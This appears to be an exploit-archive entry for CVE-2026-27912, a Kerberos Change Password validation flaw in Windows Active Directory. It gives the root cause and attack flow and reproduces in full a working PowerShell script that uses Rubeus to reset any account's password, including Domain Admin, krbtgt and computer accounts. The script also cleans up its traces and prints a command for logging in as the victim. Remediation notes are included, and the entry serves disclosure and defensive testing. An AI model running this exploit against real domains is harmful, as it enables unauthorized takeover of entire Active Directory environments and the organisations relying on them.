PoC Archive PoC Archive
CVE-2026-27912 category: network CVSS 8 (HIGH)
Unverified

Windows Kerberos — ResetNightmare: Arbitrary Password Reset via Change Password Protocol Validation Flaw (CVE-2026-27912)

Published: 2026-08-11 • Researcher: Semperis Research Team (Semperis-Community)

Target software Microsoft Windows Kerberos Key Distribution Center (KDC), Change Password protocol (kadmin/changepw)
Affected versions Windows Server with unpatched Kerberos KDC (all supported versions prior to the July/August 2026 security update)
Status Patched
Severity High · CVSS 8
CVSS 8.0/10
Severity
High
CVE
CVE-2026-27912
Category
network
Affected product
Microsoft Windows Kerberos Key Distribution Center (KDC), Change Password protocol (kadmin/changepw)
Affected versions
Windows Server with unpatched Kerberos KDC (all supported versions prior to the July/August 2026 security update)
Disclosed
2026-08-11
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-08-11
Last Updated2026-08-11
Author / ResearcherSemperis Research Team (Semperis-Community)
CVE / AdvisoryCVE-2026-27912
Categorynetwork
SeverityHigh
CVSS Score8.0 (CVSSv3.1: AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusPatched
Tagswindows, kerberos, active-directory, privilege-escalation, password-reset, domain-controller, upn, rubeus, changepw, krbtgt, CWE-285, microsoft, CVE-2026-27912
Relatedpocs/network/2026-07-27_cve-2026-54121-certighost-adcs-dc-impersonation/ (different AD privilege-escalation, same target class), pocs/network/2026-07-05_cve-2026-26128-adcs-kerberos-relay-unicode-spn/ (Kerberos relay via ADCS)

Affected Target

FieldValue
Software / SystemMicrosoft Windows Kerberos Key Distribution Center (KDC), Change Password protocol (kadmin/changepw)
Versions AffectedWindows Server with unpatched Kerberos KDC (all supported versions prior to the July/August 2026 security update)
Language / PlatformPowerShell (PoC automation), Rubeus (.NET, Kerberos tooling); targets Active Directory Domain Controllers
Authentication RequiredYes — requires a domain account with the ability to write a userPrincipalName (UPN) on any controlled account, or permission to create new accounts in an OU
Network Access RequiredAdjacent network — must be able to reach the Domain Controller on Kerberos (TCP/UDP 88) and LDAP (TCP 389/636) ports

Summary

CVE-2026-27912, nicknamed ResetNightmare by Semperis, is a validation flaw in the Kerberos Change Password protocol that allows an attacker to reset the password of any user or computer account in Active Directory — including Domain Admins, the krbtgt account, and domain-joined computer accounts — without knowing the current password. The attacker needs only a low-privilege domain account with the ability to write a userPrincipalName (UPN) attribute on any account they control, or permission to create new accounts in any Organizational Unit.

The vulnerability is an improper authorization issue (CWE-285) in how the KDC validates Kerberos Change Password requests. The KDC fails to properly verify that the authenticated principal requesting the password change is the same principal whose password is being changed. By temporarily setting the UPN of a controlled account to the sAMAccountName of the target, requesting a TGT with NT-ENTERPRISE name type for kadmin/changepw, and then clearing the UPN before the password change is executed, the attacker can trick the KDC into resetting the target password.

Both user and computer accounts can be targeted. This makes the vulnerability particularly dangerous: resetting a computer account password effectively breaks the trust relationship between the computer and the domain, enabling machine-account takeover.

Vulnerability Details

Root Cause

The Kerberos Change Password protocol (RFC 3244, kadmin/changepw) is intended to let users change their own passwords. The KDC uses the TGT to identify whose password should be changed. The vulnerability arises because the KDC does not adequately verify that the authenticated identity in the TGT legitimately corresponds to the target account when the TGT was obtained using NT-ENTERPRISE (UPN-based) name resolution.

The attack exploits a Time-of-Check-to-Time-of-Use (TOCTOU) window:

  1. Check: The attacker sets their controlled account UPN to the target sAMAccountName (e.g., Administrator). When Rubeus requests a TGT for Administrator with NT-ENTERPRISE name type and the kadmin/changepw SPN, the KDC resolves the UPN and issues the TGT — the UPN currently points to the attacker’s account, so authentication succeeds with the attacker’s password.

  2. Use: The attacker clears the UPN from their account. Now the only principal named Administrator is the real Administrator. When the attacker presents the TGT to the Change Password service, the KDC resolves the principal name again — this time it resolves to the real Administrator — and resets that account’s password.

Attack Flow

  1. Set fake UPN: Set the userPrincipalName of a controlled account to the target sAMAccountName (e.g., Administrator).
  2. Request TGT: Use Rubeus to request a TGT for the target name with NT-ENTERPRISE principal type, targeting the kadmin/changepw SPN. The KDC resolves via UPN and issues the TGT authenticated with the attacker’s password.
  3. Clear UPN: Remove the fake UPN from the controlled account. The name now resolves only to the real target.
  4. Change password: Use the TGT with Rubeus changepw to reset the target account password. The KDC resolves the principal name to the real target and resets it.
  5. Authenticate: Log in as the target with the new password.

The PoC script automates the entire flow and cleans up after itself (restores original UPN, deletes ticket file).

Impact

  • Full domain compromise: Resetting the Domain Admin or krbtgt password gives the attacker complete control of the Active Directory forest.
  • Computer account takeover: Resetting a computer account password breaks the machine-domain trust, enabling the attacker to impersonate the machine account for lateral movement, delegation abuse, or resource-based constrained delegation attacks.
  • Stealth: The attack cleans up the UPN modification and deletes the ticket file. The only persistent change is the target password itself.
  • Low barrier: Requires only GenericWrite on the UPN attribute of any single account (or CreateChild in any OU). Many environments have overly permissive ACLs that satisfy this requirement.

Environment / Lab Setup

Output

Setup Steps

PowerShell
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
. .\ResetNightmare.ps1

Invoke-ResetNightmare `
    -TargetAccount "Administrator" `
    -TargetNewPassword "NewP@ssw0rd!" `
    -UPNUser "controlledUser" `
    -UPNUserPassword "ControlledP@ss!"

Invoke-ResetNightmare `
    -TargetAccount "Administrator" `
    -TargetNewPassword "NewP@ssw0rd!" `
    -UPNUser "attackerAcct" `
    -UPNUserPassword "AttackerP@ss!" `
    -CreateNewPath "OU=Temp,DC=demo,DC=lab"

Proof of Concept

See ResetNightmare.ps1 (213 lines, PowerShell) in this folder — mirrored byte-for-byte from Semperis-Community/ResetNightmare. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Deploy an unpatched AD lab with at least one Domain Controller and a low-privilege domain user.
  2. Ensure the user has GenericWrite on any account (or CreateChild on an OU). Use -CreateNewPath if creating a new account for the attack path.
  3. Place Rubeus.exe in the current directory or specify -RubeusPath.
  4. Dot-source and invoke:
    PowerShell
    1
    2
    3
    
    . .\ResetNightmare.ps1
    Invoke-ResetNightmare -TargetAccount "victim" -TargetNewPassword "Pwned123!" `
        -UPNUser "myuser" -UPNUserPassword "MyPass!"
  5. Observe: The script sets the fake UPN, requests a TGT via Rubeus, clears the UPN, and resets the target password. On success it prints instructions to authenticate as the target.

Exploit Code

The UPN manipulation — sets the controlled account UPN to the target name, waits for replication, then requests the TGT:

PowerShell
1
2
3
4
Set-ADUser $UPNUser -UserPrincipalName $targetSAN -Server $DC
while (-not (Get-ADObject -LDAPFilter "userprincipalname=$targetSAN" -Server $DC)){
    Start-Sleep -Seconds 1
}

The TGT request — Rubeus with NT-ENTERPRISE name type targeting kadmin/changepw:

PowerShell
1
2
3
& $RubeusPath asktgt /user:$targetSAN /password:$UPNUserPassword `
    /principaltype:enterprise /outfile:$outfile `
    /suppenctype:$SupportedEncryption /changepw /dc:$DC

The password reset — clears the fake UPN first (TOCTOU), then changes the password:

PowerShell
1
2
Set-ADUser $UPNUser -Clear UserPrincipalName -Server $DC
& $RubeusPath changepw /ticket:$outfile /new:$TargetNewPassword /dc:$DC

Expected Output

Output
[*] Setting a fake UPN for controlledUser...
[*] Asking for a TGT for controlledUser with the name Administrator (NT_ENTERPRISE) for kadmin/changepw...
[*] Clearing fake UPN from controlledUser...
[*] Attempting to change Administrator's password to NewP@ssw0rd!...
[*] Cleaning up files...

Success! You can now authenticate as Administrator with the password NewP@ssw0rd!
To spawn a new netonly process:
Rubeus.exe asktgt /user:Administrator /password:NewP@ssw0rd! /suppenctype:AES256 /nowrap /createnetonly:cmd.exe /show

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchApply the Microsoft security update for CVE-2026-27912 on all Domain Controllers. The fix validates that the authenticated principal in the Change Password TGT is the same principal whose password is being changed, closing the TOCTOU window.
WorkaroundAudit and restrict who has GenericWrite on the userPrincipalName attribute across the domain. Restrict CreateChild permissions on OUs to only authorized administrators. Monitor for UPN modifications on non-standard accounts.
VerificationConfirm all DCs are patched. Run the PoC against a test DC to verify the patch blocks the attack (the changepw step should fail with an authorization error). Audit ACLs for excessive GenericWrite/WriteDACL permissions using tools like BloodHound, PingCastle, or Purple Knight.

References

Notes

Verified this session by reading the full PoC source (ResetNightmare.ps1, 213 lines). The script is a single PowerShell function (Invoke-ResetNightmare) that automates the attack using standard ActiveDirectory PowerShell cmdlets (Get-ADUser, Set-ADUser, Set-ADComputer, New-ADUser, New-ADComputer, Set-ADAccountPassword) and Rubeus for Kerberos operations. The code is clear, well-documented, and self-cleaning — it restores the original UPN, deletes the TGT file, and prints the final authentication command.

Malware screen — clean. No obfuscated payloads, no encoded commands, no remote downloaders, no credential exfiltration, no miner, no persistence mechanisms. The script requires Rubeus.exe to be pre-compiled and placed locally — it does not download or fetch any binaries. All AD operations use standard RSAT cmdlets. The only network connections are to the target Domain Controller on standard Kerberos (88) and LDAP (389/636) ports. BSD 3-Clause license.

Author track record: Semperis is a well-established Active Directory security company. Their research team has published multiple AD vulnerability disclosures and tools (Purple Knight, Forest Druid, Directory Services Protector). The Semperis-Community GitHub organization is their public research arm. The repo was created on August 2, 2026, has 157 stars and 25 forks as of August 11, and the PoC was published after Microsoft released the patch. Responsible disclosure timeline confirmed by the coordinated release pattern.

The CVSS vector (AV:A — adjacent network) reflects that the attacker must be on the same network as the Domain Controller. In practice, any domain-joined machine qualifies, making this effectively network-accessible in most enterprise environments. The PR:L (low privileges) reflects that only basic domain user credentials plus GenericWrite on a UPN are needed — no administrative access required. The impact is disproportionate to the access required: a single low-privilege user can reset any account password in the domain, including Domain Admin and krbtgt.

ResetNightmare.ps1
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
function Invoke-ResetNightmare {
    <#
    .SYNOPSIS
        Automatically run ResetNightmare (CVE-2026-27912) attack steps,
        resetting a target account's password using a TGT for a user with a fake UPN.
    .DESCRIPTION
        This script will attempt to reset a target account's password by leveraging ResetNightmare.
        The script uses:
        - Rubeus.exe (tested with Rubeus compiled with .NET Framework 4.6.2)
        - The PowerShell ActiveDirectory module
        The script automatically uses the current directory for storing the TGT ticket file, and will delete it after the attack is complete.
    .PARAMETER TargetAccount
        The SamAccountName of the attack's target (the account to reset the password for).
        If targeting a computer account, make sure to use it's SamAccountName (ending with $, e.g. "server$").
    .PARAMETER TargetNewPassword
        The new password to set for TargetAccount.
    .PARAMETER UPNUser
        The account to which the you can write a UPN, or the account to create if -CreateNewPath is specified.
    .PARAMETER UPNUserPassword
        Cleartext password to UPNUser.
    .PARAMETER Computer
        Optional switch. If specified, UPNUser is treated as a computer account.
        If combined with -CreateNewPath, a computer account will be created instead of a user account.
        This has no impact over TargetAccount; both user and computer accounts can be targeted.
    .PARAMETER RubeusPath
        Optional. The path to the Rubeus executable. Default is ".\Rubeus.exe".
    .PARAMETER SupportedEncryption
        Optional. The supported encryption type for the TGT. The default value is "AES256" and should work for most cases.
        If changing this is needed, the supported values are:
        DES|RC4|AES128|AES256
    .PARAMETER CreateNewPath
        Optional.
        DistinguishedName to an OU/Container where you have permissions to create objects.
        If specified, the -UPNUser and -UPNUserPassword parameters will be the credentials of the user to create, instead of using an existing user.
    .PARAMETER DC
        Optional. Name of the DC to operate against. This is automatically resolved if not specified.
    #>
    Param(
        [Parameter(Mandatory=$True)][String]$TargetAccount,
        [Parameter(Mandatory=$True)][String]$TargetNewPassword,
        [Parameter(Mandatory=$True)][String]$UPNUser,
        [Parameter(Mandatory=$True)][String]$UPNUserPassword,
        [Parameter(Mandatory=$False)][Switch]$Computer,
        [Parameter(Mandatory=$False)][String]$RubeusPath=".\Rubeus.exe",
        [Parameter(Mandatory=$False)][String]$SupportedEncryption="AES256",
        [Parameter(Mandatory=$False)][String]$CreateNewPath="",
        [Parameter(Mandatory=$False)][String]$DC
    )
    if (-not (Get-Module -Name ActiveDirectory -ListAvailable)) {
        throw "[*] Please make sure the ActiveDirectory module is installed. Quitting..."
    }

    if (-not (Test-Path $RubeusPath)) {
        throw "[*] Couldn't find Rubeus executable. Provide a valid path in the -RubeusPath parameter."
    }

    if (-not $DC) {
        $DC = (Get-ADDomainController).Name
    }

    $outfile = [System.IO.Path]::Combine($PWD,"TGT.kirbi")
    if (Test-Path $outfile) {
        $choice = Read-Host "Output TGT path $outfile already exists. Delete the file? (y/n)"
        if ($choice -eq "y") {
            Remove-Item -Path $outfile
        }
        else {
            return "Quitting..."
        }
    }

    if ($CreateNewPath) {
        if ($Computer) {
            Write-Host "[*] Creating computer $UPNUser in $CreateNewPath..."
            try {
                $newUserDN = (New-ADComputer -Name $UPNUser -Path $CreateNewPath -PassThru -Server $DC).DistinguishedName
            }
            catch {
                throw "Couldn't create a computer in $CreateNewPath."
            }
        }
        else {        
            Write-Host "[*] Creating user $UPNUser in $CreateNewPath..."
            try {
                $newUserDN = (New-ADUser -Name $UPNUser -Path $CreateNewPath -PassThru -Server $DC).DistinguishedName
            }
            catch {
                throw "Couldn't create a user in $CreateNewPath."
            }
        }
        Write-Host "[*] Getting Full Control rights on $UPNUser for $($env:USERNAME)"
        try {
            New-PSDrive -Name "TargetDC" -PSProvider ActiveDirectory -Server $DC -Root "//RootDSE/" | Out-Null
            $oldACL = Get-Acl "TargetDC:$newUserDN"
            $mySID = [System.Security.Principal.SecurityIdentifier]"$((Get-ADUser $env:USERNAME -Server $DC).SID.Value)"
            $myACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($mySID,"GenericAll","Allow",'None',[Guid]::Empty)
            $oldACL.AddAccessRule($myACE)
            Set-Acl -AclObject $oldACL "TargetDC:$newUserDN"
            Remove-PSDrive -Name "TargetDC"
        }
        catch {
            throw "Couldn't modify permissions on $newUserDN."
        }

        Write-Host "[*] Resetting $UPNUser's password to $UPNUserPassword"
        Set-ADAccountPassword -Identity $newUserDN -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $UPNUserPassword -Force) -Server $DC

        Write-Host "[*] Enabling $UPNUser..."
        if ($Computer) {
            Set-ADComputer $UPNUser -Enabled $true -Server $DC
        }
        else {
            Set-ADUser $UPNUser -Enabled $true -Server $DC
        }
    }

    try {
        $targetSAN = (Get-ADUser $TargetAccount -Server $DC).samaccountname
    }
    catch {
        try {
            $targetSAN = (Get-ADObject -LDAPFilter "samaccountname=$TargetAccount" -Properties SamAccountName -Server $DC).samaccountname
        }
        catch {
            throw "Couldn't find a principal named $TargetAccount."
        }
    }

    try {
        if ($Computer) {
            $uu = Get-ADComputer $UPNUser -Properties UserPrincipalName -Server $DC
        }
        else {
            $uu = Get-ADUser $UPNUser -Properties UserPrincipalName -Server $DC
        }
        if ($uu.UserPrincipalName) {
            $oldUPN = $uu.UserPrincipalName
        }
    }
    catch {
        throw "Couldn't find an account named $UPNUser."
    }

    # Set UPN and verify it's presence
    Write-Host "[*] Setting a fake UPN for $UPNUser..."
    try {
        if ($Computer) {
            Set-ADComputer $UPNUser -UserPrincipalName $targetSAN -Server $DC
        }
        else {
            Set-ADUser $UPNUser -UserPrincipalName $targetSAN -Server $DC
        }
        while (-not (Get-ADObject -LDAPFilter "userprincipalname=$targetSAN" -Server $DC)){
            Start-Sleep -Seconds 1
        }
    }
    catch {
        throw "Failed to set a UPN on $UPNUser. Verify that the running context has the required permissions."
    }

    Write-Host "[*] Asking for a TGT for $UPNUser with the name $targetSAN (NT_ENTERPRISE) for kadmin/changepw..."
    Start-Sleep -Seconds 1
    & $RubeusPath asktgt /user:$targetSAN /password:$UPNUserPassword /principaltype:enterprise /outfile:$outfile /suppenctype:$SupportedEncryption /changepw /dc:$DC | Out-Null
    if (-not (Test-Path $outfile)) {
        throw "[*] failed to get a TGT for $UPNUser with the name $targetSAN (NT_ENTERPRISE)"
    }

    # Clear UPN
    Write-Host "[*] Clearing fake UPN from $UPNUser..."
    if ($Computer) {
        Set-ADComputer $UPNUser -Clear UserPrincipalName -Server $DC
    }
    else {
        Set-ADUser $UPNUser -Clear UserPrincipalName -Server $DC
    }
    while (Get-ADObject -LDAPFilter "userprincipalname=$targetSAN" -Server $DC){
        Start-Sleep -Seconds 1
    }

    Start-Sleep -Seconds 1
    Write-Host "[*] Attempting to change $targetSAN's password to $TargetNewPassword..."
    $changepw = & $RubeusPath changepw /ticket:$outfile /new:$TargetNewPassword /dc:$DC
    if (($changepw.split([Environment]::NewLine) | select -Last 1) -ne "[+] Password change success!" -and ($changepw.split([Environment]::NewLine) | select -Last 2 | select -First 1) -notmatch "KDC_ERR_NONE") {
        Write-Host "Something went wrong. changepw output:`n$($changepw -join [Environment]::NewLine)"
        return
    }

    # Attack should have succeeded, cleaning up
    Write-Host "[*] Cleaning up files..."
    try {
        Remove-Item -Path $outfile
    }
    catch {
        "[*] Warning: couldn't delete file $outfile"
    }
    if ($oldUPN) {
        Write-Host "[*] Restoring original UPN value..."
        if ($Computer) {
            Set-ADComputer $UPNUser -UserPrincipalName $oldUPN -Server $DC
        }
        else {
            Set-ADUser $UPNUser -UserPrincipalName $oldUPN -Server $DC
        }

        while (-not (Get-ADObject -LDAPFilter "userprincipalname=$oldUPN" -Server $DC)){
            Start-Sleep -Seconds 1
        }
    }
    $command = "Rubeus.exe asktgt /user:$targetSAN /password:$TargetNewPassword /suppenctype:$SupportedEncryption /nowrap /createnetonly:cmd.exe /show"
    Write-Host
    Write-Host "Success! You can now authenticate as $targetSAN with the password $TargetNewPassword"
    Write-Host "To spawn a new netonly process:"
    Write-Host $command
}